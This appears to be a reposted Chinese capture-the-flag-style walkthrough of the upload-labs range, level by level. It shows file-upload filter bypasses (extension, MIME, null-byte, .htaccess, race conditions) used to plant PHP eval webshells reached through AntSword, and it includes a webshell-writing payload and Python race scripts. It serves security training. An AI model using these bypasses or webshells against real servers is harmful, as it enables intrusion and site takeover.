赞
踩
一.pass-01
1.查看源码
2.按F12,如图
禁用Java,点击上传(这种方法只推荐在靶场用)
二.pass-02
1.查看源码
2.选择一个PHP文件,使用burp抓包改包
将画横线的地方改为jpeg,井将下一行type后的东西改为image/jpeg,
三.pass-01
1.查看源码
由代码可知,该文件后缀即可。先抓包改包
后面加个5
用蚁剑检测,复制图片链接
四.pass-04
先看源码
这关要用到htaccess文件
上传,然后在上传文件,将一句话木马文件重命名为jpg
成功
用蚁剑连接
五.pass-05
查看源码
源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现可以使用php. .绕过
用蚁剑连接
六.pass-06
这一关同样是后端黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单
把.php 格式改为 .Php 上传上去之后,就会自动解析为.php
用蚁剑连接
七.pass-07
这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单
用蚁剑连接
八.pass-08
这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
抓包,修改
用蚁剑连接
九.pass-09
这一关黑名单,没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::DATA绕过黑名单
补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
上传PHP一句话文件,抓包改后缀php::$DATA
用蚁剑连接(注意蚁剑连接路径不要加上::$DATA)
十.pass-10
这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
f i l e n a m e = d e l d o t ( file_name = deldot(file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单
补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来
上传,然后用bp改后缀加点空格点
用蚁剑连接
十一.pass-11
这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单
补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)
上传1.php
然后用bp改后缀为.pphphp
用蚁剑连接
十二.pass-12
本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4
,并且magic_quotes_gpc
关闭。
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
抓包并按下图改包
用蚁剑连接(连接时要把下面蓝色的部分删掉)
这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单
补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。
抓包并按下图改包
并按下两张图改
用蚁剑连接(连接时要把下面蓝色的部分删掉)
十四.pass-14
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含
绕过
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
————————————————
版权声明:本文为CSDN博主「晚安這個未知的世界」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_47598409/article/details/115050869
然后这关要使用文件包含才能解析木马的执行,文件包含页面链接就在那里
仿照这个格式做图片马。
上传图片马,用所给页面检验,图片马之后会被重命名图片所以下面的payload的图片名字可以在上传之后复制图片链接就可以了
这就算成功了
用蚁剑连接
十五.pass-15
通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
再用以下界面检验
就算成·功
然后复制图片链接,用蚁剑检验
十六.pass-16
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif
模块。
所以还是可以用十四关的图片马绕过,并使用文件包含漏洞解析图片马
出现这个界面就成功
最后用蚁剑连接即可(偷个懒)
十七.pass-17
这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
(度娘)
这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
为了偷懒,这里提供一张网上某个大佬提供的GIF图片https://wwe.lanzoui.com/iFSwwn53jaf
步骤同上几关
最后用蚁剑连接即可(偷个懒就不发图了)
十八.pass-18
(开始阴间了)
老规矩先看源码
发现它和前面的都不一样
从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
也就是说如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
那还怎么搞?上传上去就被删除了,我还怎么去访问啊。
我知道你很急,但你先不要急,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
一句话“穷举法”
为了更好的演示效果,把一句话木马换一下改为:
<?php fputs(fopen('666.php','w'),'<?php @eval($_POST["666"])?>');?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个666.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的666.php服务器是不会删除的,我们就可以通过蚁剑去链接了。
所以先抓包,发送到intruder
然后选择Clear$
按下图进行
然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的1.php
文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url
地址XXX都是代表IP地址
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
然后开始攻击
在BP攻击的同时
我们也要运行python脚本,目的就是不停地访问1.php
知道成功访问到为止。当出现OK
说明访问到了该文件,那么666.php
应该也创建成功了,用蚁剑连一下试试。
运行Python脚本的步骤通常如下:
python --version
来检查。如果你看到一个版本号,比如 Python 3.8.5
,那就意味着Python已经安装在你的电脑上。如果没有,你需要去Python官网下载并安装。cd
命令切换到包含你的Python脚本的文件夹。例如,如果你的脚本在名为 my_folder
的文件夹中,你可以输入 cd my_folder
。python your_script.py
,其中 your_script.py
是你的Python脚本的文件名。注意:以上步骤适用于运行简单的Python脚本。如果你的脚本需要依赖其他库或环境,你可能需要在运行脚本之前先安装这些依赖。在运行复杂的项目时,可能会用到构建工具(如 pipenv, conda, venv等)来管理这些依赖。
当python脚本出现ok时就成功了,用蚁剑连接
十九.pass-19
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不在upload的文件夹下,所以我们要进去修改一下第19关的代码文件
打开第十九关,发现还是需要代码审计。那么再来看看源码吧。
代码太长了就不发了
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
我们要修改一下python脚本
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
然后抓包
然后开始攻击并运行python脚本
当python脚本出现ok时就成功了,用蚁剑连接
二十.pass-20
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.
先准备PHP一句话木马,并把后缀名改为PNG再上传
然后用BP来抓包
按下图改包
放包就行了.
用蚁剑连接
二十一.pass-21
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数
上传一句话木马
然后上传用BP来拦截并改包
拦截后未改的情况
我们要改的就是下面的要求
修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空
修改后的结果
然后放包
用蚁剑连接
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。